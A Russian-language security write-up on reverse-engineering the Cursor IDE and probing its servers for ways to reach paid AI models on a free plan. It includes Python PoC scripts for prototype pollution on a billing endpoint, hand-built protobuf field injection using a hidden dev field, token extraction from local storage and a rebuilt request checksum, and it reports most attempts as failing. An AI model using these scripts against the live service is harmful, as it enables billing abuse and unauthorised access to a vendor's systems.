Disclaimer: исследование проводилось исключительно в образовательных целях. Все найденные уязвимости были задокументированы. Никакие данные третьих лиц не были скомпрометированы. Автор не несёт ответственности за использование описанных техник.
Вступление
Cursor — AI-powered IDE на базе VS Code, которая обрабатывает миллионы строк кода разработчиков через свои серверы. Когда я задумался о безопасности этого продукта, возник вопрос: насколько надёжна серверная модель авторизации, которая стоит между бесплатным пользователем и Claude 4 Opus?
Спойлер: серьёзного bypass я не нашёл — Cursor реально неплохо защищён. Но по пути я обнаружил 4 уязвимости класса CVE, полностью реверс-инжинирнул API-surface, извлёк protobuf-схемы из 1.1M строк минифицированного JS и нашёл скрытый dev-бэкдор в production-серверах.
Вот что получилось.
Содержание
1. Разведка: декомпиляция клиента
Cursor основан на VS Code (Electron). Весь клиентский код лежит в:
resources/app/out/vs/workbench/workbench.desktop.main.js
1,144,696 строк минифицированного JavaScript. Этот файл — золотая жила: тут все protobuf-определения, URL-ы API, OAuth-флоу, Statsig feature gates и логика маршрутизации моделей.
Извлечение protobuf-схем
Cursor использует Connect-RPC (https://connectrpc.com/) — современный RPC-фреймворк поверх HTTP/2. Все сервисы определены прямо в JS-бандле:
// Найдено через grep "typeName.*agent.v1"
var $hl = {
typeName: "agent.v1.AgentService",
methods: {
run: {
name: "Run",
I: ndi, // AgentRunRequest
O: CPt, // AgentRunResponse (streaming)
kind: vn.ServerStreaming
},
// ...
}
};
Для извлечения полей использовал цепочку grep → sed → ручной анализ:
grep -n "typeName.*agent.v1.AgentRunRequest" workbench.desktop.main.js
# -> 448073: C(ndi, "typeName", "agent.v1.AgentRunRequest"), C(ndi, "fields"...
sed -n '448073,448200p' workbench.desktop.main.js
Результат — полная proto-схема AgentRunRequest:
// Восстановленная схема (17 клиентских полей)
message AgentRunRequest {
ConversationState conversation_state = 1;
Action action = 2;
ModelDetails model_details = 3; // ← модель для plan check
McpTools mcp_tools = 4;
string conversation_id = 5;
McpFileSystemOptions mcp_file_system_options = 6;
SkillOptions skill_options = 7;
string custom_system_prompt = 8;
RequestedModel requested_model = 9; // ← модель для routing
bool suggest_next_prompt = 10;
string subagent_type_name = 11;
bool exclude_workspace_context = 12;
string harness = 13;
repeated RequestedModel selected_subagent_models = 14;
repeated ModelDetails selected_subagent_model_details = 15;
string conversation_group_id = 16;
repeated PreFetchedBlobs pre_fetched_blobs = 17;
// string dev_raw_model_slug = 18; // ← СЕРВЕРНОЕ ПОЛЕ, нет в клиенте!
}
Ключевая находка: поле 18 (devRawModelSlug) отсутствует в клиентском коде, но сервер его принимает и обрабатывает. Об этом ниже.
Извлечение токенов
Cursor хранит аутентификацию в SQLite:
import sqlite3
VSCDB = "~/.config/Cursor/User/globalStorage/state.vscdb"
con = sqlite3.connect(VSCDB)
row = con.execute(
"SELECT value FROM ItemTable WHERE key='cursorAuth/accessToken'"
).fetchone()
TOKEN = row[0].strip('"')
JWT-токен содержит стандартные claims:
{
"sub": "auth0|...",
"iss": "https://prod.authentication.cursor.sh/",
"aud": "https://cursor.com",
"iat": 1751457906,
"exp": 1752062706,
"scope": "openid profile email offline_access",
"azp": "KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB"
}
Заметьте: никаких claims о подписке или плане. Проверка подписки происходит полностью на сервере.
2. Архитектура
Стек
Client (Electron)
↓ HTTP/2 + Connect-RPC
API Gateway (api2.cursor.sh, api5.cursor.sh)
↓
Agent Service (model routing, plan check)
↓
LLM providers (OpenAI, Anthropic, Google)
Протокол: Connect-RPC
Connect-RPC фреймирует protobuf в HTTP/2:
[1 byte flags][4 bytes length][protobuf payload]
flags=0x00: data frame
flags=0x02: trailer frame (JSON с ошибками/метаданными)
Пример фрейминга:
import struct
# Создание Connect-RPC сообщения
def frame(proto_bytes):
return struct.pack('>BI', 0, len(proto_bytes)) + proto_bytes + \
struct.pack('>BI', 2, 0) # пустой trailer
Checksum-алгоритм
Cursor использует кастомный checksum для валидации запросов:
def cursor_checksum(machine_id, mac_machine_id):
S = int(time.time() * 1000) // 1_000_000
x = bytearray([
(S >> 40) & 0xFF, (S >> 32) & 0xFF,
(S >> 24) & 0xFF, (S >> 16) & 0xFF,
(S >> 8) & 0xFF, S & 0xFF
])
e = 165 # seed
for t in range(len(x)):
x[t] = ((x[t] ^ e) + t % 256) & 0xFF
e = x[t]
encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b'=')
return encoded.decode() + machine_id + '/' + mac_machine_id
Алгоритм реверснут из workbench.desktop.main.js. Timestamp-based, детерминированный — воспроизводится тривиально.
Список серверов
https://api2.cursor.sh — основной API
https://agent.api5.cursor.sh — agent-специфичный
https://agentn.api5.cursor.sh — agent (новый?)
https://agent-gcpp-uswest.api5.cursor.sh
https://agentn-gcpp-eucentral.api5.cursor.sh
https://agentn-gcpp-apsoutheast.api5.cursor.sh
https://repo42.cursor.sh — репозиторий?
3. Полная карта API-surface
gRPC-сервисы (Connect-RPC)
Сервис | Метод | Тип |
|---|---|---|
|
| ServerStreaming |
|
| Unary |
|
| Unary |
|
| Unary |
|
| Unary |
|
| Unary |
|
| Unary |
|
| ServerStreaming |
|
| Unary |
REST-эндпоинты
Путь | Метод | Описание |
|---|---|---|
| GET | Профиль подписки |
| POST | Активация подписки |
| GET | Информация о пользователе |
Statsig Feature Gates (извлечено 40+)
cc_override_agent_backend — выбор agent backend
user_is_professional — проверка pro-статуса
explicit_subagent_models — явные модели для subagent
enable_ide_enterprise_plan_usage
use_model_parameters
agent_review_fake_dev
4. CVE-1: Prototype Pollution (CWE-1321)
Severity: Medium (DoS, потенциальная эскалация) Endpoint: POST /auth/start-subscription-now Impact: Server crash (HTTP 500), изменение пути обработки
Описание
JSON-эндпоинты Cursor парсят тело запроса без санитизации __proto__. При отправке payload с __proto__ сервер возвращает 500 Internal Server Error вместо ожидаемого 400 Cannot upgrade free user.
PoC
import httpx, json
payload = {
"tier": "pro",
"__proto__": {
"membershipType": "pro",
"hasActiveSubscription": True
}
}
r = httpx.post(
"https://api2.cursor.sh/auth/start-subscription-now",
content=json.dumps(payload).encode(),
headers={
"authorization": "Bearer <token>",
"content-type": "application/json"
}
)
print(r.status_code, r.text)
Результаты тестирования
Payload | Ожидаемый ответ | Фактический ответ |
|---|---|---|
| 400 “Cannot upgrade free user” | 400 ✓ |
| 400 | 500 “Error” ✗ |
| 400 | 500 “Error” ✗ |
| 400 | 500 “Error” ✗ |
Все 10 вариаций с __proto__ вызывают 500 вместо 400. Это подтверждает, что объект prototype chain загрязняется до момента проверки подписки, вызывая необработанное исключение.
Аналогичное поведение на ActivatePromotion:
# Нормальный ответ: "Unknown promo type id"
payload = {"promoTypeId": "test"}
# С __proto__: "invalid_argument" (ДРУГАЯ ошибка!)
payload = {"promoTypeId": "test", "__proto__": {"isValid": True}}
Эндпоинт ActivatePromotion с __proto__ возвращает invalid_argument вместо Unknown promo type id — pollution меняет путь валидации.
Импакт
DoS: любой аутентифицированный пользователь может вызвать 500-ку на billing endpoints
Потенциальная эскалация: если pollution проникает в shared state (маловероятно в production, но зависит от архитектуры)
5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)
Severity: Medium (Active Debug Code in Production) Field: AgentRunRequest.dev_raw_model_slug (proto field 18) Impact: Наличие dev-механизма прямого bypass model routing в production
Обнаружение
При систематическом сканировании всех proto-полей (1-50) на AgentRunRequest:
for field_num in range(1, 51):
extra = proto_field(field_num, wire_type=2, value="pro")
body = build_agent_request("gpt-4o", extra_fields=extra)
response = send(body)
if "Free plans" not in response:
print(f"!!! field {field_num}: {response}")
Поля 6, 7, 8, 10-17 → parse error или plan_block (ожидаемо). Поле 18 → уникальный ответ:
devRawModelSlug is not available
Анализ
Поле 18 отсутствует в клиентском коде — grep по 1.1M строк не находит
devRawModelSlugв proto-определениях клиентаСервер его парсит и валидирует — возвращает специфическое сообщение об ошибке, а не generic parse error
Проверка происходит ДО plan check — при
f3=default(проходит free check) +f18=gpt-4o→ ошибка devRawModelSlug, а не plan_blockОдинаково на ВСЕХ серверах:
api2.cursor.sh → "devRawModelSlug is not available"
agent.api5.cursor.sh → "devRawModelSlug is not available"
agentn.api5.cursor.sh → "devRawModelSlug is not available"
agent-gcpp-uswest.api5.cursor.sh → "devRawModelSlug is not available"
agentn-gcpp-eucentral.api5.cursor.sh → "devRawModelSlug is not available"
agentn-gcpp-apsoutheast.api5.cursor.sh → "devRawModelSlug is not available"
PoC
import struct
def varint(v):
r = bytearray()
while v > 0x7f:
r.append((v & 0x7f) | 0x80)
v >>= 7
r.append(v & 0x7f)
return bytes(r)
def proto_field(num, wire_type, value):
tag = varint((num << 3) | wire_type)
if wire_type == 2: # length-delimited
data = value.encode() if isinstance(value, str) else value
return tag + varint(len(data)) + data
return b''
# Поле 18 = devRawModelSlug с именем premium-модели
field_18 = proto_field(18, 2, "gpt-4o")
# Стандартные поля AgentRunRequest
model_details = proto_field(1, 2, "default") # field 3: проходит plan check
run_request = (
proto_field(1, 2, b'') + # conversation_state
proto_field(2, 2, action_bytes) + # action
proto_field(3, 2, model_details) + # model_details = "default"
proto_field(5, 2, conv_id) + # conversation_id
proto_field(9, 2, requested_model) + # requested_model
proto_field(16, 2, group_id) + # conversation_group_id
field_18 # devRawModelSlug = "gpt-4o"
)
# Connect-RPC framing
body = struct.pack('>BI', 0, len(outer)) + outer + struct.pack('>BI', 2, 0)
Почему это CWE-489
devRawModelSlug — это механизм для разработчиков, позволяющий напрямую указать backend-модель, минуя стандартную маршрутизацию. В production он отключён, но:
Код обработки присутствует в production-бинарнике
Сервер парсит и валидирует это поле (не игнорирует)
Ошибка выдаёт имя поля, раскрывая внутреннюю архитектуру
Если флаг отключения будет снят (ошибка конфигурации, feature flag), поле мгновенно станет рабочим
6. CVE-3: Internal Service Header Leak (CWE-200)
Endpoint: GET /agent.v1.AgentService/GetAllowedModelIntents Impact: раскрытие архитектуры внутреннего service mesh
Описание
Метод GetAllowedModelIntents обнаружен в клиентском JS:
getAllowedModelIntents: {
name: "GetAllowedModelIntents",
I: QCm, // request type
O: XCm, // response type
kind: vn.Unary
}
При вызове с обычным Bearer-токеном:
HTTP 401: "Invalid internal service header"
Анализ
Ответ "Invalid internal service header" вместо generic 401 Unauthorized или 404 Not Found раскрывает:
Эндпоинт существует и обрабатывается (не 404)
Используется service-to-service аутентификация (внутренний заголовок)
Есть отдельный механизм авторизации для внутренних сервисов
Брутфорс заголовков (25+ комбинаций) не дал результата — внутренний токен не является производным от пользовательского.
7. CVE-4: Protobuf Field Injection & Wire Type Confusion
7.1 Дублирование field 3 (Double Field Injection)
Protobuf позволяет отправить одно и то же поле дважды. По спецификации, для singular-полей последнее значение побеждает. Но что если plan check и routing читают разные значения?
# Два поля field 3: сначала opus, потом default
md_opus = proto_field(1, 2, "claude-4-opus")
md_default = proto_field(1, 2, "default")
run_request = (
proto_field(3, 2, md_opus) + # первый model_details
proto_field(3, 2, md_default) + # второй model_details
# ...
)
Результат: сервер корректно берёт последнее значение для обоих проверок. Bypass не работает, но сервер не отклоняет дублированное поле — это нарушение принципа strict parsing.
7.2 Wire Type Confusion
Отправка model_id (обычно string, wire type 2) как varint (wire type 0):
# Нормально: field 1, wire type 2 (string), value "default"
normal = b'\x0a\x07default'
# Атака: field 1, wire type 0 (varint), value 0
confused = b'\x08\x00' # (1 << 3) | 0 = 0x08, varint 0
Результат: parse binary: illegal tag — сервер отклоняет. Парсер достаточно строгий.
7.3 Subagent Field Injection
Поля 14 (selected_subagent_models) и 15 (selected_subagent_model_details) принимают premium-модели без plan check:
run_request = (
proto_field(3, 2, model_details("default")) + # plan check ✓
proto_field(14, 2, requested_model("gpt-4o")) + # no plan check!
proto_field(15, 2, model_details("gpt-4o")) + # no plan check!
)
Запрос проходит и стримится. Однако, при анализе ответа — модель-ответчик идентична обычному запросу с “default” (Codex 5.3). Поля 14/15 игнорируются при routing, но не валидируются — это увеличивает attack surface при будущих изменениях.
8. Что ещё было протестировано (без результата)
Для полноты картины — полный список проверенных векторов:
Вектор | Результат | Почему не работает |
|---|---|---|
Model name bruteforce (42 модели) | Plan blocked | Серверная проверка по имени |
| Blocked | Одна и та же проверка |
JWT claim manipulation | N/A | Claims не содержат план; проверка из БД |
OAuth callback injection | Blocked | WorkOS nonce validation |
Stripe webhook replay | 500 | Signature verification |
| 400 | Требует активную подписку |
Content-Type confusion (gRPC vs Connect) | 415/500 | Строгая проверка Content-Type |
Internal service header brute force | 401 | Токен не derivable |
Host header override | 404 | Load balancer routing |
| Rejected | “unknown option --system-prompt” |
| Plan blocked | Не влияют на plan check |
Integer overflow в billing | 404 | Endpoints не существуют |
gRPC Server Reflection | 404 | Отключено |
Feature flag headers | No effect | Серверные gates не управляются клиентом |
Race condition на subscription | N/A | Атомарная проверка |
9. Что Cursor делает правильно
Нужно отдать должное — по результатам аудита, Cursor демонстрирует зрелую security-модель:
Plan check полностью серверный — никаких claims в JWT о подписке. Проверка идёт из базы данных на каждый запрос.
Строгий protobuf parsing — wire type confusion отклоняется; неизвестные поля не влияют на routing.
Stripe webhook signature — webhook-эндпоинт требует валидную Stripe-подпись, replay невозможен.
OAuth nonce validation — WorkOS callback проверяет nonce, injection невозможен.
Единая проверка модели —
model_detailsиrequested_modelпроходят одну и ту же проверку, дублирование поля берёт последнее значение корректно.Connect-RPC вместо raw gRPC — упрощает auditing и мониторинг, грамотный выбор.
10. Выводы и рекомендации
Найденные уязвимости
ID | Тип | CWE | Severity | Описание |
|---|---|---|---|---|
CURSOR-2025-001 | Prototype Pollution | CWE-1321 | Medium |
|
CURSOR-2025-002 | Active Debug Code | CWE-489 | Medium |
|
CURSOR-2025-003 | Info Disclosure | CWE-200 | Low |
|
CURSOR-2025-004 | Improper Input Validation | CWE-20 | Low | Subagent fields не валидируются |
Рекомендации для Cursor
Санитизировать
__proto__иconstructorв JSON-парсинге. ИспользоватьObject.create(null)или библиотеку типаsecure-json-parse.Удалить
devRawModelSlugиз production proto-схемы или как минимум не возвращать имя поля в ошибке.Унифицировать ошибки авторизации —
GetAllowedModelIntentsдолжен возвращать generic 404 вместо “Invalid internal service header”.Валидировать все proto-поля — отклонять запросы с неожиданными полями в
selected_subagent_models/selected_subagent_model_details.
Инструментарий
Весь research проведён с помощью:
Python 3 +
httpx(HTTP/2 клиент)Ручная сериализация protobuf (без .proto файлов)
grep/sedдля анализа минифицированного JSSQLite3 для извлечения токенов
Итог
Cursor — один из наиболее security-aware AI-продуктов, которые я исследовал. Plan check полностью серверный, JWT не содержит привилегий, protobuf parsing строгий. Тем не менее, prototype pollution и наличие dev-бэкдора в production — это реальные issues, которые стоит исправить.
Если вы делаете SaaS с серверной авторизацией — вот чеклист из этого исследования:
✅ Не храните привилегии в JWT
✅ Проверяйте план из БД на каждый запрос
✅ Используйте строгий proto parsing
❌ Не оставляйте dev-поля в production proto
❌ Не раскрывайте внутренние имена через ошибки
❌ Санитизируйте
__proto__в JSON

























